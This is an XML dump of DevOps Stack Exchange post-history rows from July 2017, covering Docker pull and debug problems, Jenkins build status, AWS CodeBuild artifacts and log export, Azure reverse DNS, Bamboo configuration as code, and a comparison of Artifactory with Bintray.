  <row Id="4943" PostHistoryTypeId="5" PostId="1526" RevisionGUID="35f5843b-4eb0-4cf0-91f0-465cc4fd4292" CreationDate="2017-07-13T07:59:22.043" UserId="707" Comment="added 75 characters in body; edited title" Text="With a private registry, I cannot pull images because certains image layers fail to download. The pattern seems to be that this happens with larger, 50MB sized layers.&#xD;&#xA;It shouldn't be a registry neither network problem as colleagues with other systems manage to get these images.&#xD;&#xA;&#xD;&#xA;    6bbedd9b76a4: Pulling fs layer&#xD;&#xA;    fc19d60a83f1: Download complete&#xD;&#xA;    de413bb911fd: Download complete&#xD;&#xA;    2879a7ad3144: Download complete&#xD;&#xA;    668604fde02e: Download complete&#xD;&#xA;    f257ac562635: Download complete&#xD;&#xA;    07486ea9391a: Download complete&#xD;&#xA;    c131a1091dea: Download complete&#xD;&#xA;    e4e87f3caf2a: Downloading&#xD;&#xA;    6ef05c7ca3e3: Retrying in 1 second&#xD;&#xA;    85b7b45e23a1: Download complete&#xD;&#xA;    077ff1474b65: Retrying in 1 second&#xD;&#xA;    f85147a0e9d7: Waiting&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Other errors on new retries with same image:&#xD;&#xA;&#xD;&#xA;    2c1171c58a199d2ec9daee729d88146dfb91caba4788: local error: tls: bad record MAC&#xD;&#xA;    &#xD;&#xA;    error pulling image configuration: tls: received record with version 5ea7 when expecting version 303&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;UPD. Strange enough, the very first image layer which always gets stuck before it downloads anything stucks rarely at &quot;downloading... 987B&quot;.&#xD;&#xA;&#xD;&#xA;UPD2. Same behaviour with Docker EE client (Docker-Client/17.03.0-ee-1)&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/dKRdS.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="4944" PostHistoryTypeId="4" PostId="1526" RevisionGUID="35f5843b-4eb0-4cf0-91f0-465cc4fd4292" CreationDate="2017-07-13T07:59:22.043" UserId="707" Comment="added 75 characters in body; edited title" Text="Strange behaviour of Docker CE/EE client on Windows - timeout for certain image layers" ContentLicense="CC BY-SA 3.0" />
  <row Id="4945" PostHistoryTypeId="5" PostId="1527" RevisionGUID="5472e2b8-47d5-4cfa-a4c6-7491c1eeadd8" CreationDate="2017-07-13T08:23:27.770" UserId="13" Comment="Removed the disclaimer, the misunderstanding can not happen with this edit :)" Text="By default, Docker client is not in debug mode. How to enable it?&#xD;&#xA;&#xD;&#xA;     &#xD;&#xA;       &gt; docker info&#xD;&#xA;        &#xD;&#xA;        ..&#xD;&#xA;        Debug Mode (client): false&#xD;&#xA;        Debug Mode (server): true&#xD;&#xA;        ..&#xD;&#xA;&#xD;&#xA;If I try following `docker --help`&#xD;&#xA;&#xD;&#xA;    docker -D version &#xD;&#xA;&#xD;&#xA;I get indeed&#xD;&#xA;&#xD;&#xA;    Debug Mode (client): true&#xD;&#xA;    Debug Mode (server): true&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But then, how can I access log messages? The following for example does not seem to bring any debug statements to the console:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    PS U:\&gt; docker -D -l debug pull ubuntu:16.04&#xD;&#xA;    16.04: Pulling from library/ubuntu&#xD;&#xA;    75c416ea735c: Pull complete&#xD;&#xA;    c6ff40b6d658: Pull complete&#xD;&#xA;    a7050fc1f338: Pull complete&#xD;&#xA;    f0ffb5cf6ba9: Pull complete&#xD;&#xA;    be232718519c: Pull complete&#xD;&#xA;    Digest: sha256:a0ee7647e24c8494f1cf6b94f1a3cd127f4&#xD;&#xA;    Status: Downloaded newer image for ubuntu:16.04&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4946" PostHistoryTypeId="5" PostId="1526" RevisionGUID="f209af10-4086-4392-9c19-6d909eb9eeb3" CreationDate="2017-07-13T08:40:59.930" UserId="707" Comment="added 107 characters in body" Text="With a private registry, I cannot pull images because certains image layers fail to download. The pattern seems to be that this happens with larger, 50MB sized layers.&#xD;&#xA;It shouldn't be a registry neither network problem as colleagues with other systems manage to get these images.&#xD;&#xA;&#xD;&#xA;    6bbedd9b76a4: Pulling fs layer&#xD;&#xA;    fc19d60a83f1: Download complete&#xD;&#xA;    de413bb911fd: Download complete&#xD;&#xA;    2879a7ad3144: Download complete&#xD;&#xA;    668604fde02e: Download complete&#xD;&#xA;    f257ac562635: Download complete&#xD;&#xA;    07486ea9391a: Download complete&#xD;&#xA;    c131a1091dea: Download complete&#xD;&#xA;    e4e87f3caf2a: Downloading&#xD;&#xA;    6ef05c7ca3e3: Retrying in 1 second&#xD;&#xA;    85b7b45e23a1: Download complete&#xD;&#xA;    077ff1474b65: Retrying in 1 second&#xD;&#xA;    f85147a0e9d7: Waiting&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Other errors on new retries with same image:&#xD;&#xA;&#xD;&#xA;    2c1171c58a199d2ec9daee729d88146dfb91caba4788: local error: tls: bad record MAC&#xD;&#xA;    &#xD;&#xA;    error pulling image configuration: tls: received record with version 5ea7 when expecting version 303&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;UPD. Strange enough, the very first image layer which always gets stuck before it downloads anything stucks rarely at &quot;downloading... 987B&quot;.&#xD;&#xA;&#xD;&#xA;UPD2. Same behaviour with Docker EE client (Docker-Client/17.03.0-ee-1)&#xD;&#xA;&#xD;&#xA;UPD3. Filed this as a [bug][2] to the Moby project.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/dKRdS.png&#xD;&#xA;  [2]: https://github.com/moby/moby/issues/34080" ContentLicense="CC BY-SA 3.0" />
  <row Id="4947" PostHistoryTypeId="2" PostId="1532" RevisionGUID="eb0e639f-f7c6-4e36-b56e-458fc4888442" CreationDate="2017-07-13T09:25:33.673" UserId="707" Text="Eventually, using the `docker -D -l debug` setting for the client  I have found the log outputs (apparently currently there are no debug level messages implemented [as reported][1].&#xD;&#xA;&#xD;&#xA;    C:\Users\user\AppData\Local\Docker\log.txt&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/moby/moby/issues/6927" ContentLicense="CC BY-SA 3.0" />
  <row Id="4948" PostHistoryTypeId="2" PostId="1533" RevisionGUID="464176d8-1eb3-468a-b313-0b8d3d3e2eff" CreationDate="2017-07-13T10:31:07.103" UserId="2453" Text="I have a `Virtual network` (MyVPN) resource in Azure, being a class C network, MyVPN has `Azure provided DNS service` as DNS servers, so all virtual machines with a NIC connected to this network are able to resolve their hostname successfully, for example virtual machine `myvm01` can ssh to `myvm02` using only the hostname instead of IP.&#xD;&#xA;&#xD;&#xA;However, they are unable to make a reverse DNS lookup, which makes sense since by default Azure does not provide a `reverse DNS lookup zone`. [By following Microsoft's documentation][1] I managed to create it, sadly I don't really know if I should delegate to `Azure provided DNS service` and if so, how to do it (I tried [following this][2])&#xD;&#xA;&#xD;&#xA;What should I do now to allow `myvm01` be able to resolve the IP of `myvm02` to its hostname?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/dns/dns-reverse-dns-hosting&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/dns/dns-delegate-domain-azure-dns" ContentLicense="CC BY-SA 3.0" />
  <row Id="4949" PostHistoryTypeId="1" PostId="1533" RevisionGUID="464176d8-1eb3-468a-b313-0b8d3d3e2eff" CreationDate="2017-07-13T10:31:07.103" UserId="2453" Text="Azure and DNS services" ContentLicense="CC BY-SA 3.0" />
  <row Id="4950" PostHistoryTypeId="3" PostId="1533" RevisionGUID="464176d8-1eb3-468a-b313-0b8d3d3e2eff" CreationDate="2017-07-13T10:31:07.103" UserId="2453" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4951" PostHistoryTypeId="2" PostId="1534" RevisionGUID="753aade4-3819-47ad-bc20-3f3a3958a9eb" CreationDate="2017-07-13T11:20:28.877" UserId="707" Text="Where does Docker daemon store image and container data on the local disk ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4952" PostHistoryTypeId="1" PostId="1534" RevisionGUID="753aade4-3819-47ad-bc20-3f3a3958a9eb" CreationDate="2017-07-13T11:20:28.877" UserId="707" Text="How to access local Docker storage on Windows 10?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4953" PostHistoryTypeId="3" PostId="1534" RevisionGUID="753aade4-3819-47ad-bc20-3f3a3958a9eb" CreationDate="2017-07-13T11:20:28.877" UserId="707" Text="&lt;docker&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4954" PostHistoryTypeId="2" PostId="1535" RevisionGUID="6548b5ea-5d68-4c81-80b5-f25ada7173a1" CreationDate="2017-07-13T12:41:48.127" UserId="786" Text="The DBA is the person/role who is responsible for the availability, integrity and security of the organizations data. The responsibilities are the same regardless of the technology that happens to be in use. The way the tasks are carried out may have changed, but they still need to be done. A modern DBA might not be writing backup scripts and changing tapes over but the need for backups hasn't gone away, nor the need to regularly test restoring them, nor the need to assess all the costs involved and the trade-offs, nor the need to document everything in a runbook, etc etc. He or she will be responsible for choosing which cloud service to use, what instance type, what level of IOPS is required, forecasting storage requirements, planning for different kinds of workloads such as OLTP or batch. Performance issues haven't gone away, nor have security audits. If there is an issue and someone needs to take action or make a decision at 3am - who do you call?&#xD;&#xA;&#xD;&#xA;Some people say that you don't need DBAs any more - but the truth is if you don't know who the DBA is, it's probably *you*. " ContentLicense="CC BY-SA 3.0" />
  <row Id="4955" PostHistoryTypeId="2" PostId="1536" RevisionGUID="11852519-5dbd-44ea-9ea7-3dbe00e1cd9c" CreationDate="2017-07-13T13:59:25.050" UserId="739" Text="# Yes but&#xD;&#xA;&#xD;&#xA;It is hard to deny James and Tensibai's sentiments that we are hard to define.  I've probably offended a few job interviewers by pointing out the DevOps means whatever you want it to mean at the time.  Vendors and the press in computing are not very motivated by correctness or conformity so any popular term will get muddied in a similar fashion.&#xD;&#xA;&#xD;&#xA;# There is ITIL&#xD;&#xA;&#xD;&#xA;But that doesn't mean some people aren't trying to create a common language for us to talk about operations and processes.  While I haven't seen anyone applying it in the real world, there is [ITIL](https://en.wikipedia.org/wiki/ITIL).  As Wikipedia tells us:&#xD;&#xA;&#xD;&#xA;&gt; ITIL, formally an acronym for Information Technology Infrastructure Library, is a set of detailed practices for IT service management (ITSM) that focuses on aligning IT services with the needs of business. In its current form (known as ITIL 2011), ITIL is published as a series of five core volumes, each of which covers a different ITSM lifecycle stage. Although ITIL underpins ISO/IEC 20000 (previously BS 15000), the International Service Management Standard for IT service management, there are some differences between the ISO 20000 standard and the ITIL framework.&#xD;&#xA;&#xD;&#xA;&gt; ITIL describes processes, procedures, tasks, and checklists which are not organization-specific, but can be applied by an organization for establishing integration with the organization's strategy, delivering value, and maintaining a minimum level of competency. It allows the organization to establish a baseline from which it can plan, implement, and measure. It is used to demonstrate compliance and to measure improvement.&#xD;&#xA;&#xD;&#xA;&gt; Since July 2013, ITIL has been owned by AXELOS, a joint venture between Capita and the Cabinet Office. AXELOS licenses organisations to use the ITIL intellectual property, accredits licensed examination institutes, and manages updates to the framework. Organizations that wish to implement ITIL internally do not require this license.&#xD;&#xA;&#xD;&#xA;All of that sounds really exciting, but because of the licensing there's no way for me to build open source software based on this.  If you [search for ITIL in github](https://github.com/search?utf8=%E2%9C%93&amp;q=itil&amp;type=) the results are very sparse.  Until the licensing model changes I think we're stuck with this state of affairs.  Unless W3C or the IETF takes up this sort of challenge there won't be a standard which is available to the community." ContentLicense="CC BY-SA 3.0" />
  <row Id="4956" PostHistoryTypeId="2" PostId="1537" RevisionGUID="c1fccb97-5feb-411e-ade9-e6003e788434" CreationDate="2017-07-13T14:00:33.340" UserId="736" Text="There's plenty of questions asking how to return a list of all jobs on your Jenkins instance, or even to get a list of which jobs are currently running, but I have a more specific use-case. &#xD;&#xA;&#xD;&#xA;I need to see if a single job is already running. As in, return one value if there is 0 builds of the job running, and a different value if 1 or more builds are running.&#xD;&#xA;&#xD;&#xA;The use case here is that we've automated our image creation to build after successful unit tests. It's set to build a maximum of one image every seven hours, by checking the build time of the last image and cancelling the build if it's been less than 7hrs. This works perfectly for most cases. However, these images take ~20min to build. If it's been over 7 hours and **two** unit tests finish within less than 20min of each other, the second build doesn't see the first creating, and continues building. We're getting two functionally identical images made once every 7hrs, only minutes apart. I'd like to check the status of the controller job to know if it's already running, so that the second build can know to cancel. &#xD;&#xA;&#xD;&#xA;I've tried curl-ing the following API, but it turns out it doesn't register individual builds, just that the job is running in general, which is useless in this case as it self-triggers since it checking means it's already running; there's no difference between a single build and multiple builds.&#xD;&#xA;&#xD;&#xA;    http://JENKINS_URL/api/xml?tree=jobs[name,url,color]&amp;xpath=/hudson/job[ends-with(color/text(),%22_anime%22)]&amp;wrapper=jobs&#xD;&#xA;&#xD;&#xA;TL;DR: Is there a different call I can make that will return some list/file/content that indicates that multiple builds of the same job are currently running?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4957" PostHistoryTypeId="1" PostId="1537" RevisionGUID="c1fccb97-5feb-411e-ade9-e6003e788434" CreationDate="2017-07-13T14:00:33.340" UserId="736" Text="Jenkins API call (or Groovy builtin) that returns list of all currently running builds of jobs" ContentLicense="CC BY-SA 3.0" />
  <row Id="4958" PostHistoryTypeId="3" PostId="1537" RevisionGUID="c1fccb97-5feb-411e-ade9-e6003e788434" CreationDate="2017-07-13T14:00:33.340" UserId="736" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4959" PostHistoryTypeId="5" PostId="1537" RevisionGUID="96c82044-ffa3-4787-b79a-78cd1c5826f7" CreationDate="2017-07-13T14:09:44.533" UserId="736" Comment="edited body" Text="There's plenty of questions asking how to return a list of all jobs on your Jenkins instance, or even to get a list of which jobs are currently running, but I have a more specific use-case. &#xD;&#xA;&#xD;&#xA;I need to see if a single job is already running. As in, return one value if there is 1 builds of the job running, and a different value if 2 or more builds are running.&#xD;&#xA;&#xD;&#xA;The use case here is that we've automated our image creation to build after successful unit tests. It's set to build a maximum of one image every seven hours, by checking the build time of the last image and cancelling the build if it's been less than 7hrs. This works perfectly for most cases. However, these images take ~20min to build. If it's been over 7 hours and **two** unit tests finish within less than 20min of each other, the second build doesn't see the first creating, and continues building. We're getting two functionally identical images made once every 7hrs, only minutes apart. I'd like to check the status of the controller job to know if it's already running, so that the second build can know to cancel. &#xD;&#xA;&#xD;&#xA;I've tried curl-ing the following API, but it turns out it doesn't register individual builds, just that the job is running in general, which is useless in this case as it self-triggers since it checking means it's already running; there's no difference between a single build and multiple builds.&#xD;&#xA;&#xD;&#xA;    http://JENKINS_URL/api/xml?tree=jobs[name,url,color]&amp;xpath=/hudson/job[ends-with(color/text(),%22_anime%22)]&amp;wrapper=jobs&#xD;&#xA;&#xD;&#xA;TL;DR: Is there a different call I can make that will return some list/file/content that indicates that multiple builds of the same job are currently running?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4960" PostHistoryTypeId="5" PostId="1530" RevisionGUID="0c5ae6a8-db1a-4469-9804-bfaae7f47c0b" CreationDate="2017-07-13T20:47:57.047" UserId="2845" Comment="added 30 characters in body" Text="According to Wikipedia, the first reference you linked,&#xD;&#xA;&#xD;&#xA;&gt;In computer science and information science, an ontology is a formal naming and definition of the types, properties, and interrelationships of the entities that really or fundamentally exist for a particular domain of discourse. It is thus a practical application of philosophical ontology, with a taxonomy.&#xD;&#xA;&#xD;&#xA;The problem with developing an Ontology Model to define the terms of DevOps is that DevOps [encompasses multiple domains](https://blog.chef.io/2017/06/16/whats-name-devops-mean-just-dev-ops/) and these domains can often have overlapping or contradictory terminology.&#xD;&#xA;&#xD;&#xA;In fact, sometimes [even](https://en.wikipedia.org/wiki/Name_Service_Switch) [within](https://en.wikipedia.org/wiki/Network_switching_subsystem) [a](https://en.wikipedia.org/wiki/Uniform_Resource_Name#Syntax) [domain](https://en.wikipedia.org/wiki/Network_Security_Services) there will be [conflicting terminology](https://devops.stackexchange.com/a/1453/2845). So it is difficult enough to establish a standard for a single domain, let alone multiple domains.&#xD;&#xA;&#xD;&#xA;As such, it is doubtful there will be any attempt (or at least successful ones) to establish formal ontology rules for DevOps any time soon. (And it would have to start with formally defining DevOps first, and so far we have had trouble even making that clear)." ContentLicense="CC BY-SA 3.0" />
  <row Id="4961" PostHistoryTypeId="2" PostId="1538" RevisionGUID="aac3e956-c6e9-44d6-8959-fcfe231b9305" CreationDate="2017-07-13T21:41:56.283" UserId="3498" Text="I am building an AWS CodePipeline which depends on two source repositories. If the 'CodeBuild' step is specified with multiple Input artifacts, then you get the error: `.. declares 2 input artifacts which is more than the maximum count`. Documentation has a strict requirement for CodeBuild to have only a single input artifact.&#xD;&#xA;&#xD;&#xA;Lambdas, on another hand, do not have this limitation. I've been looking for a way how a Lambda could &quot;merge&quot; two artifacts into a single one which I can pass to the CodeBuild then. Unfortunately, information on this subject is quite limited. &#xD;&#xA;&#xD;&#xA;Does anyone have a working CodePipeline Lambda which would merge two Artifacts into one?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/togs2.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="4962" PostHistoryTypeId="1" PostId="1538" RevisionGUID="aac3e956-c6e9-44d6-8959-fcfe231b9305" CreationDate="2017-07-13T21:41:56.283" UserId="3498" Text="CodeBuild - multiple input artifacts in AWS Pipeline" ContentLicense="CC BY-SA 3.0" />
  <row Id="4963" PostHistoryTypeId="3" PostId="1538" RevisionGUID="aac3e956-c6e9-44d6-8959-fcfe231b9305" CreationDate="2017-07-13T21:41:56.283" UserId="3498" Text="&lt;amazon-web-services&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4964" PostHistoryTypeId="2" PostId="1539" RevisionGUID="38089071-b971-4e08-afff-ed947f617622" CreationDate="2017-07-13T21:57:28.583" UserId="3498" Text="Few ideas to help you&#xD;&#xA;&#xD;&#xA;1. When you define a &quot;CodeBuild&quot; project, you can specify which base image it will use to execute your commands. Try using a different base image.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2. Provide us with a better log stream.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Exporting Logs from CloudWatch&#xD;&#xA;&#xD;&#xA;I found that the easiest way is to export logs through command-line:&#xD;&#xA;&#xD;&#xA; - click on 'View Logs' link, to find out your Log Group and Log Stream&#xD;&#xA; - install &quot;awscli&quot; and &quot;jq&quot;&#xD;&#xA;&#xD;&#xA;Run substituting your log-group-name and -log-stream-name:&#xD;&#xA;&#xD;&#xA;    aws logs get-log-events --log-group-name /aws/codebuild/Dumper  \&#xD;&#xA;        --log-stream-name 0bd74b8c-74b9-4f9b-b275-167b45901aa3 | \&#xD;&#xA;        jq '.events[].message' -r | grep -v '^$'&#xD;&#xA;&#xD;&#xA;This should give you the output, which you can include in the question." ContentLicense="CC BY-SA 3.0" />
  <row Id="4965" PostHistoryTypeId="2" PostId="1540" RevisionGUID="98fdcf8d-7737-4438-ba24-2879748bbfac" CreationDate="2017-07-14T07:02:58.640" UserId="3504" Text="Building devops pipe with tools such as Jenkins, Nexus, Hashicorp etc.. Deploying via terraform ansible &amp; packer. Intending to use load balancers in front of each tool, want to deploy tools listed above with their data decoupled enabling easier tear down for updates etc. (eg load balance x2, nexus x2, data ?) Does anyone have any advice or suggested examples of how this is achieved. Not quite ready for containers, but trying to decouple data now in readiness for such a change. Cloud provider not defined yet AWS, Open Stack etc etc ?? Thoughts welcomed." ContentLicense="CC BY-SA 3.0" />
  <row Id="4966" PostHistoryTypeId="1" PostId="1540" RevisionGUID="98fdcf8d-7737-4438-ba24-2879748bbfac" CreationDate="2017-07-14T07:02:58.640" UserId="3504" Text="Decoupling data of devops tools eg jenkins nexus" ContentLicense="CC BY-SA 3.0" />
  <row Id="4967" PostHistoryTypeId="3" PostId="1540" RevisionGUID="98fdcf8d-7737-4438-ba24-2879748bbfac" CreationDate="2017-07-14T07:02:58.640" UserId="3504" Text="&lt;ansible&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4968" PostHistoryTypeId="2" PostId="1541" RevisionGUID="d86909e2-fd20-458a-9f5d-148474b75e8d" CreationDate="2017-07-14T11:09:22.743" UserId="707" Text="While trying to get a clear picture how to setup a seamless CaSC (configuration as code) build and deployment plan management, I must to admit that I get quite puzzled.&#xD;&#xA;&#xD;&#xA;Is the following *ideal scenario* possible?&#xD;&#xA;- Users can manage their plans as code or via UI as YAML&#xD;&#xA;- Plan changes in UI result in a commit to the CaSC code base (YAML as well)&#xD;&#xA;&#xD;&#xA;In the meantime, my impressions are that just pieces of that are possible but no integraton setup yet:&#xD;&#xA;&#xD;&#xA; 1. Admins can manually export (and import?) plan configurations as YAML via UI&#xD;&#xA; 2. Bamboo Specs allow Java language coding of plans. &#xD;&#xA;&#xD;&#xA;Looks like #1 is too limited (possibly usage of REST API could change that? But still you'd need admin rights) and #2 will be overdesigned for most cases.&#xD;&#xA;&#xD;&#xA;Anybody has a solution for the *ideal scenario*?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4969" PostHistoryTypeId="1" PostId="1541" RevisionGUID="d86909e2-fd20-458a-9f5d-148474b75e8d" CreationDate="2017-07-14T11:09:22.743" UserId="707" Text="CasC with Bamboo" ContentLicense="CC BY-SA 3.0" />
  <row Id="4970" PostHistoryTypeId="3" PostId="1541" RevisionGUID="d86909e2-fd20-458a-9f5d-148474b75e8d" CreationDate="2017-07-14T11:09:22.743" UserId="707" Text="&lt;bamboo&gt;&lt;casc&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4971" PostHistoryTypeId="2" PostId="1542" RevisionGUID="3ac6b9e6-5c17-4971-9c02-3497093e1914" CreationDate="2017-07-14T19:01:21.277" UserId="3433" Text="The service account needs permissions to the storage segment where the containers will be pushed. To fix this&#xD;&#xA;&#xD;&#xA; * Log in to the Google Cloud Platform console&#xD;&#xA; * Go to the *Storage* section&#xD;&#xA; * Tick the corresponding storage segment and click *Show information panel* button in the top-right corner.&#xD;&#xA; * Add the storage object administration permission to your service account.&#xD;&#xA;&#xD;&#xA;You can then retry locally with `jet steps --push`." ContentLicense="CC BY-SA 3.0" />
  <row Id="4972" PostHistoryTypeId="2" PostId="1543" RevisionGUID="af532b6d-1a98-4422-8ce4-d280dffcc08c" CreationDate="2017-07-15T05:38:14.190" UserId="3512" Text="I think you can also look at new lightweight virtualization for macOS called Anka. Anka Build can make it possible for you to setup a virtualized infrastructure on Apple hardware and enable you to provision macOS Vms on-demand from Jenkins." ContentLicense="CC BY-SA 3.0" />
  <row Id="4979" PostHistoryTypeId="2" PostId="1545" RevisionGUID="db1aa50b-dfe5-4e7a-ac13-207f65b0e8d7" CreationDate="2017-07-16T12:23:40.740" UserId="800" Text="We are actually looking for a package management system for our project.&#xD;&#xA;The target is simple, have a centralized system to keep our packages ( apps and middlewares ) and use them with our CI/CD tools (Jenkins, Ansible, Docker ...)&#xD;&#xA;&#xD;&#xA;Looking for options I discovered [JFrog Artifactory][1] and [JFrog Bintray][2]. they both seems to do the same job but I don't believe JFrog is maintaining two concurrent products with the same options.&#xD;&#xA;&#xD;&#xA;What is the difference between Artifactory and Bintray?  &#xD;&#xA;How do we choose one over the other and why?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jfrog.com/artifactory/&#xD;&#xA;  [2]: https://bintray.com/&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4980" PostHistoryTypeId="1" PostId="1545" RevisionGUID="db1aa50b-dfe5-4e7a-ac13-207f65b0e8d7" CreationDate="2017-07-16T12:23:40.740" UserId="800" Text="JFrog Artifactory or JFrog Bintray , when to use one over the other?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4981" PostHistoryTypeId="3" PostId="1545" RevisionGUID="db1aa50b-dfe5-4e7a-ac13-207f65b0e8d7" CreationDate="2017-07-16T12:23:40.740" UserId="800" Text="&lt;continuous-integration&gt;&lt;artifacts&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4982" PostHistoryTypeId="2" PostId="1546" RevisionGUID="0f266c3a-bc93-4b6b-a1b8-d1e1b481b2b6" CreationDate="2017-07-16T17:16:07.003" UserId="3522" Text="My devops team is struggling with managing incidents and having quick response times anyone know of some software that can help with this?&#xD;&#xA;&#xD;&#xA;And the pros and cons of them?&#xD;&#xA;&#xD;&#xA;Thank you very much." ContentLicense="CC BY-SA 3.0" />
  <row Id="4983" PostHistoryTypeId="1" PostId="1546" RevisionGUID="0f266c3a-bc93-4b6b-a1b8-d1e1b481b2b6" CreationDate="2017-07-16T17:16:07.003" UserId="3522" Text="List of Ticket Management Software" ContentLicense="CC BY-SA 3.0" />
  <row Id="4984" PostHistoryTypeId="3" PostId="1546" RevisionGUID="0f266c3a-bc93-4b6b-a1b8-d1e1b481b2b6" CreationDate="2017-07-16T17:16:07.003" UserId="3522" Text="&lt;continuous-delivery&gt;&lt;build-pipeline&gt;&lt;capacity-planning&gt;&lt;practices&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4985" PostHistoryTypeId="2" PostId="1547" RevisionGUID="749f81e3-a45c-4ef8-b2b5-5195dc6e9051" CreationDate="2017-07-16T17:40:45.040" UserId="3523" Text="Hey you should check out ngDesk. It does ticket and on-call/pager management, its also completely free. &#xD;&#xA;&#xD;&#xA;Its a really awesome tool that my team has been using and loves.&#xD;&#xA;&#xD;&#xA;Here is the link https://www.ngdesk.com" ContentLicense="CC BY-SA 3.0" />
  <row Id="4986" PostHistoryTypeId="2" PostId="1548" RevisionGUID="cb754af1-8da3-4ffa-bf81-4a695c3b0698" CreationDate="2017-07-16T23:00:29.457" UserId="3529" Text="Currently my team uses Jira, and it's RapidBoard agile thing.  We aren't using real agile, but it's nice to schedule work loads for the next week.&#xD;&#xA;&#xD;&#xA;Jira can be super complex, but we Have our tickets set up to:&#xD;&#xA;&#xD;&#xA;    New --&gt;InProgress --&gt;Done&#xD;&#xA;         +-&gt; Won't Do&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;It can be linked to github or to Bitstream, etc.  which is nice.  If you want more complex code reviews, Atlassian also has a code review tool (Crucible) that I really liked (used it at my previous job).&#xD;&#xA;&#xD;&#xA;The real trick is to have the ability to schedule things and to track what state they are in.&#xD;&#xA;&#xD;&#xA;The hardest part for us was to get people to break up large projects into multiple smaller tickets to better track progress.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4987" PostHistoryTypeId="2" PostId="1549" RevisionGUID="57493e3b-438a-400d-a9dd-453ee2b661d7" CreationDate="2017-07-17T07:21:47.037" UserId="210" Text="This is a follow-up to [this question][1] about preventing tag overwrite in docker hub.&#xD;&#xA;&#xD;&#xA;When one pushes a tag to a private docker registry and the current tag exists then it will be overwritten. How to prevent this?&#xD;&#xA;&#xD;&#xA;I have considered using a digest and other solutions, but this does not guarantee overwrites as one is still able to tag an image using a certain digest. I really would like to see an error and an exit code of 2.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/q/31605661/2777965" ContentLicense="CC BY-SA 3.0" />
  <row Id="4988" PostHistoryTypeId="1" PostId="1549" RevisionGUID="57493e3b-438a-400d-a9dd-453ee2b661d7" CreationDate="2017-07-17T07:21:47.037" UserId="210" Text="How to prevent that tags will be overwritten in docker private registries?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4989" PostHistoryTypeId="3" PostId="1549" RevisionGUID="57493e3b-438a-400d-a9dd-453ee2b661d7" CreationDate="2017-07-17T07:21:47.037" UserId="210" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4990" PostHistoryTypeId="10" PostId="1546" RevisionGUID="24fe0699-132f-43e5-869e-5468dca73bf4" CreationDate="2017-07-17T08:14:59.553" UserId="13" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="4991" PostHistoryTypeId="2" PostId="1550" RevisionGUID="1ee22822-5b56-471d-ad06-4c6999738ed8" CreationDate="2017-07-17T09:06:34.777" UserId="3531" Text="[JFrog Artifactory][1] and [JFrog Bintray][2] both manage binaries (and any other file type you can think of). I'd like to see them as two different parts of your CI/CD pipeline.&#xD;&#xA;&#xD;&#xA;**Artifactory** is mostly meant to be used inside the organization. For managing all binaries coming in as dependencies (like maven central jars) and being produced by your build process (like your `pack.rpm` or `org/pack-docker` docker image). These can later be used by others in the org or released to **Bintray**.&#xD;&#xA;&#xD;&#xA;**Bintray** is meant to provide a universal distribution platform for your end deliverables. For example, the `pack.rpm` you want to be available for your customers to download. And also that `org/pack-docker` docker image.&#xD;&#xA;&#xD;&#xA;Look into the features lists of each and see they differ in order to best match their intended role.  &#xD;&#xA;&#xD;&#xA; - [Artifactory features][3]&#xD;&#xA; - [Bintray features][4] &#xD;&#xA;&#xD;&#xA;I hope this helps explain the differences.&#xD;&#xA;&#xD;&#xA;**Disclosure**: I work at JFrog&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jfrog.com/artifactory/&#xD;&#xA;  [2]: https://www.jfrog.com/bintray/&#xD;&#xA;  [3]: https://www.jfrog.com/artifactory/features/&#xD;&#xA;  [4]: https://www.jfrog.com/bintray/bintray-features/" ContentLicense="CC BY-SA 3.0" />
